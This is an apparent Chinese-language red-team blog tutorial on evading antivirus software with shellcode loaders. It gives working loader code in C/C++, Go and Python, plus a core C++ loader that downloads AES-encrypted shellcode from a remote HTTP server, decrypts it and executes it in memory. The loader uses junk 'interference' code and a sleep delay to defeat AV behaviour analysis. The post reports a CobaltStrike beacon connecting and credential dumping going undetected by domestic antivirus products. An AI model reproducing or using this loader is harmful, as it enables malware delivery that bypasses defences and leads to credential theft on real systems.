前言
免殺技術,是攻擊者與安全廠商的博弈,如何將我們的攻擊指令成功繞過殺毒軟體的檢測,是每個紅隊人員需要思考的問題。當然在這一領域各大佬八仙過海,各顯神通。在此要感謝T00LS的AgeloVito前輩,本文是在前輩的成果中加以實踐。
概述
什麼是shellcode
百度百科這樣解釋道:shellcode是一段用於利用軟體漏洞而執行的代碼,shellcode為16進位的機器碼,因為經常讓攻擊者獲得shell而得名。
翻譯成人話就是:shellcode是一段執行某些動作的機器碼。
什麼是機器碼
百度百科:計算機直接使用的程序語言,其語句就是機器指令碼,機器指令碼是用於指揮計算機應做的操作和操作數地址的一組二進位數。機器指令碼在計算機中通常被稱為代碼。
人話就是:計算機的機器指令碼。
shellcode loader什麼是shellcode loader
為了使我們的shellcode加載到內存並執行,我們需要shellcode加載器,也就是我們的shellcode loader。不同語言loader的寫法不同。
C/C++
#include<windows.h>#include<stdio.h>#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不顯示窗口unsignedchar shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\......";voidmain(){ LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (Memory == NULL) { return; }memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)(); }Golang
package loaderimport ("syscall""unsafe" )var ( proc42526789738d uintptr )const ( PAGE_EXECUTE_READWRITE = 0x40 )funcInit()error { modKernel32, err := syscall.LoadLibrary(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', }))if err != nil {return err } proc42526789738d, err = syscall.GetProcAddress(modKernel32, string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', }))if err != nil {return err }returnnil }funcX(buf []byte) {var dwOldPerm uint32 syscall.Syscall6( proc42526789738d,4,uintptr(unsafe.Pointer(&buf[0])),uintptr(len(buf)),uintptr(PAGE_EXECUTE_READWRITE),uintptr(unsafe.Pointer(&dwOldPerm)),0, 0, ) syscall.Syscall(uintptr(unsafe.Pointer(&buf[0])),0, 0, 0, 0, ) }Python
import ctypes shellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89......") ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))免殺原理
目前常見的防病毒軟體,是基於三種模式來進行查殺。一是基於特徵,二是基於行為,三是基於雲查殺。雲查殺其實也是特徵查殺。
基於特徵的查殺,我們使用各種編碼與加密的方式+CobaltStrike自身的管道通信模式+shellcode不落地可以繞過。
基於行為的查殺,利用CobaltStrike的管道通信模式+花指令思維會有奇效,翻譯成人話就是在loader中加入正常執行的代碼,讓exe本身具有正常的行為,來擾亂AV分析。
主要思路:
shellcode字符串不做硬編碼。人話是shellcode不寫死在loader代碼中。(特徵查殺)原始shellcode字符串加密。(特徵查殺)添加幹擾代碼擾亂AV分析。(行為查殺)CobaltStrike獨特的管道通信模式使我們淺顯的免殺方式成為了可能。
核心代碼
intmain(int argc, char **argv){ DWORD dwOldProtect; // 內存頁屬性//遠程獲取加密shellcodechar buf[BUF_SIZE] = { 0 };char url[MAX_PATH] = "http://192.168.52.153/shellcode"; GetInterNetURLText(url, buf);//幹擾代碼unsignedchar word[] = "AliyunClient";string strword = base64_encode(word,sizeof(word));string base64buf = base64_decode(buf);if (strword != base64buf)string aesword = EncryptionAES(strword);//解密shellcodestring strbuf = DecryptionAES(buf);//幹擾代碼char buff[BUF_SIZE] = { 0 };for (int i = 0; i < strbuf.length(); i++) buff[i] = strbuf[i];string aliword = base64_encode(word, 10);char *p = buff;//shellcode處理unsignedchar* shellcode = (unsignedchar*)calloc(strlen(buff) / 2, sizeof(unsignedchar));for (size_t i = 0; i < strlen(buff) / 2; i++) {sscanf(p, "%2hhx", &shellcode[i]); p += 2; }string aliaesword = EncryptionAES(aliword);//幹擾代碼void *run = VirtualAlloc(0, strlen(buff) / 2, MEM_COMMIT, PAGE_READWRITE);memcpy(run, shellcode, strlen(buff) / 2); //創建可讀可寫內存if (aliword != strword) DecryptionAES(aliaesword); //幹擾代碼 VirtualProtect(run, strlen(buff) / 2, PAGE_EXECUTE, &dwOldProtect); //內存添加可執行權限 Sleep(2000); //延遲2S,躲避殺軟查殺 ((void(*)())run)(); //執行 aliword = base64_encode(word,10); //幹擾代碼return0; }採用aes對稱加密算法,先將加密後的shellcode字符串存儲在遠端http server,在loader中下載回來並解密。
成果檢驗
靜態查殺
virustotal
virustotal效果雖然不理想,但是繞過國內主流的殺軟沒有問題。
微步雲沙箱
動態行為查殺
運行exe,Cobaltstrike成功上線,火絨與360無反應。
logonpasswords
抓取密碼,殺軟無反應。
hashdump
Process List
Windows Defender
總結
使用C/C++方式進行免殺的優點是生成的文件體積相對較小,不帶圖標編譯大概在100多KB。個人認為免殺重點還是在於如何利用花指令來騙過殺軟的分析,因為畢竟基於特徵的查殺我們只要fuzz代碼,修改特徵就可以繞過。